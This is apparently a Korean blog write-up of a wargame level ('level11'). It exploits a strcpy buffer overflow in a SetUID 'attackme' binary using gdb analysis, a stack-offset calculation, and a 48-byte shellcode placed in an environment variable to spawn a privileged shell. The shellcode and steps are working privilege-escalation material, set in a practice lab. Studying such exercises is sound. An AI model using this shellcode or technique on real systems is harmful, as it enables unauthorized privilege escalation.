ID: level11
Password: what!@#$?
find / -user level12 -perm -4000

이번 문제도 level12 유저의 SetUID 권한이 있는 파일을 검색해보는 것으로 시작했다. 검색된 파일들을 쭉 보는데 접근 가능한 파일인 'attackme'가 바로 현재 내 위치에 있었다. 파일 이름도 attack me!
./attackme

파일을 실행했더니 Segmentation fault가 뜬다. 이 오류는 보통 프로그램이 허용되지 않은 메모리 영역에 접근을 시도할 때 발생한다.
cat hint

잘 모르겠어서 힌트를 봤는데, 아마 attackme 프로그램의 소스 코드인 것 같다.
간단히 해석하면 실행 시 명령 인자로 받은 문자열을 str 배열에 복사한 다음 출력하는 프로그램이다. 이 코드의 허점을 찾아 보면, str 배열의 크기는 256으로 정해져 있는데 입력 받을 문자열의 크기를 한정하지 않았다. 이는 버퍼 오버플로우가 발생할 수 있음을 의미한다.
./attackme "what is this?"

일단 프로그램이 코드대로 작동하는지 확인하기 위해 아무 문자열이나 명령 인자로 주고 프로그램을 실행했다. 프로그램이 입력 받은 문자열을 그대로 잘 출력한다.
하지만 나의 목표는 프로그램이 정상 작동하는 것이 아닌, 오류를 발생시켜 해킹하는 것이다. level12 권한을 얻으려면 strcpy()가 실행될 때 버퍼 오버플로우를 발생시켜 쉘 코드를 실행하도록 해야 할 것 같다.
버퍼 오버플로우를 이용해 원하는 코드를 주입하기 위해서는 프로그램의 메모리 구조가 어떻게 생겼는지 파악해야 하므로 gdb를 이용해 알아 보자.
GNU Debugger
GNU 소프트웨어 시스템을 위한 기본 디버거
gdb attackme

gdb [program_name] 명령어로 디버깅을 시작할 수 있다.
(gdb) set disassembly-flavor intel //intel 문법으로 disassemble
(gdb) disas main //main 함수의 어셈블리 코드 출력

어셈블리어의 명령어
push eax eax의 값을 스택에 저장
mov eax, ebx ebx의 값을 eax로 옮김
sub eax, ebx eax의 값에서 ebx의 값을 빼서 eax에 저장
call proc 프로시저 호출
add eax, ebx 두 값을 덧셈하여 eax에 저장
lea eax, ebx eax에 ebx의 주소값 저장
포인터 레지스터
esp 현재 스택의 최상단(가장 최근 push된 데이터의 주소)를 가리킴.
ebp 현재 스택 프레임의 시작주소 저장. 함수 호출 시 호출 이전의 값으로 설정되고, 현재 스택 프레임 소멸 시 이전 스택 프레임을 가리킴.
현재 목적은 strcpy()가 실행될 때 버퍼 오버플로우를 발생시키는 것이므로 그 부분에 집중해서 해석해 보자.
lea eax,[ebp-264] //eax 레지스터에 ebp-264의 주소값 저장
push eax //eax의 값을 스택에 저장
call 0x804835c <strcpy> //strcpy() 호출
위 내용을 해석하면, ebp-264가 str 배열의 시작 주소인 것을 알 수 있다.
스택의 기본 구조
buffer[n] + SFP[4] + RET[4]
SFP(Stack Frame Pointer): 함수가 종료된 후 되돌아갈 스택의 주소(이전 함수의 ebp 값)
RET(Return Address): 함수가 종료된 후 되돌아갈 명령어의 주소
str 배열의 크기는 256byte이므로 8byte의 더미 데이터가 존재하고, SFP와 RET가 4byte씩 존재하므로 다음과 같이 구조가 그려진다.
str[256] + dummy[8] + sfp[4] + ret[4]
RET를 조작해 쉘 코드를 실행시키려면 268byte만 채우면 된다.
이제 RET의 위치를 알았으니까 어떤 방법으로 쉘 코드의 주소를 가져올 것인지 정해야 한다. 여러 가지 방법이 있겠지만 나는 쉘 코드를 환경변수에 등록한 다음 환경변수의 주소를 가져오는 방법으로 해볼 것이다. 이유는 환경변수는 고정적인 메모리 값을 가지므로 쉽게 주소를 알 수 있기 때문이다.
export env=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"')
위 명령어를 입력해 환경변수에 쉘 코드를 등록한다. 쉘 코드는 구글에 검색하면 나오는 48byte 쉘 코드를 사용했다.
cd tmp
vi env.c
#include <stdio.h>
int main(){
printf("%p\n", getenv("env"));
return 0;
}
/home/level11 위치에서 코드를 작성하려고 하니까 권한 에러가 발생해서 /home/level11/tmp로 이동 후 환경변수의 주소를 출력하는 소스 코드를 작성했다.
해당 코드를 컴파일하고 실행하면 등록한 환경변수의 주소를 알 수 있다.
다시 /home/level11 위치로 이동한 다음, attackme를 실행하면서 '268byte를 A로 채우고 쉘 코드(환경변수)의 주소를 입력한 문자열'을 인자로 주면
공격 성공!